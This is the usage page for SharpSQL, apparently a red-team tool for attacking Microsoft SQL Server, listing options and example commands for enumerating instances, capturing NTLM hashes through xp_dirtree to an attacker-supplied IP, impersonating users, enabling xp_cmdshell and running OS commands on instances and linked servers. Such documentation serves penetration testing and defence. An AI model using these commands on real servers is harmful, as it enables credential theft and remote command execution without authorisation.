SharpSQL

SharpSQL by @mlcsec

Usage:

    SharpSQL.exe [Method] [-Instance <sql.server>] [-LinkedInstance <linked.sql.server>] [-Command <whoami>] [-Query <query>]

Options:

    -Instance                  - The instance to taget
    -db                        - The db to connect to (default: master)
    -LinkedInstance            - The linked instance to target
    -ip                        - The IP to xp_dirtree (share: /pwn)
    -User                      - The user to impersonate
    -Command                   - The command to execute (default: whoami - Invoke-OSCmd and Invoke-LinkedOSCmd)
    -Query                     - The raw SQL query to execute
    -help                      - Show  help

Methods:
    Get-SQLInstanceDomain      - Get SQL instances within current domain via user and computer SPNs (no parameters required)
    Get-Databases              - Get available databases (-Instance required)
    Get-DBUser                 - Get database user via USER_NAME (-Instance required)
    Get-GroupMembership        - Get group member for current user ('guest' or 'sysadmin') (-Instance required)
    Get-Hash                   - Get hash via xp_dirtree (-Instance and -ip required)
    Get-ImpersonableUsers      - Get impersonable users (-Instance required)
    Get-LinkedServers          - Get linked SQL servers (-Instance required)
    Get-LinkedPrivs            - Get current user privs for linked server (-Instance and -LinkedInstance required)
    Get-Sysadmins              - Get sysadmin users (-Instance required)
    Get-SystemUser             - Get system user via SYSTEM_USER (-Instance required)
    Get-SQLQuery               - Execute raw SQL query (-Instance and -Query required)
    Get-Triggers               - Get SQL server triggers (-Instance required)
    Get-Users                  - Get users from syslogins (-Instance required)
    Get-UserPrivs              - Get current user server privileges (-Instance required)
    Check-Cmdshell             - Check whether xp_cmdshell is enabled on instance (-Instance required)
    Check-LinkedCmdshell       - Check whether xp_cmdshell is enabled on linked server (-Instance and -LinkedInstance required)
    Enable-Cmdshell            - Enable xp_cmdshell on instance (-Instance required)
    Enable-LinkedCmdshell      - Enable xp_cmdshell on linked server (-Instance and -LinkedInstance required)
    Invoke-OSCmd               - Execute system command via_xp_cmdshell on instance (-Instance required)
    Invoke-LinkedOSCmd         - Executes system command via xp_cmdshell on linked server (-Instance and -LinkedInstance required)
    Invoke-ExternalScript      - Invoke external python script command execution (-Instance required)
    Invoke-OLEObject           - Invoke OLE wscript command execution (-Instance required)
    Invoke-UserImpersonation   - Impersonate user (-Instance and -User required)

Examples:

    SharpSQL.exe Get-SQLInstanceDomain
    SharpSQL.exe Get-UserPrivs -Instance sql.server
    SharpSQL.exe Get-Sysadmins -Instance sql.server
    SharpSQL.exe Get-LinkedServers -Instance sql.server
    SharpSQL.exe Get-Hash -Instance sql.server -ip 10.10.10.10
    SharpSQL.exe Invoke-OSCmd -Instance sql.server -Command "whoami /all"
    SharpSQL.exe Invoke-LinkedOSCmd -Instance sql.server -LinkedInstance linked.sql.server -Command "dir C:\users\"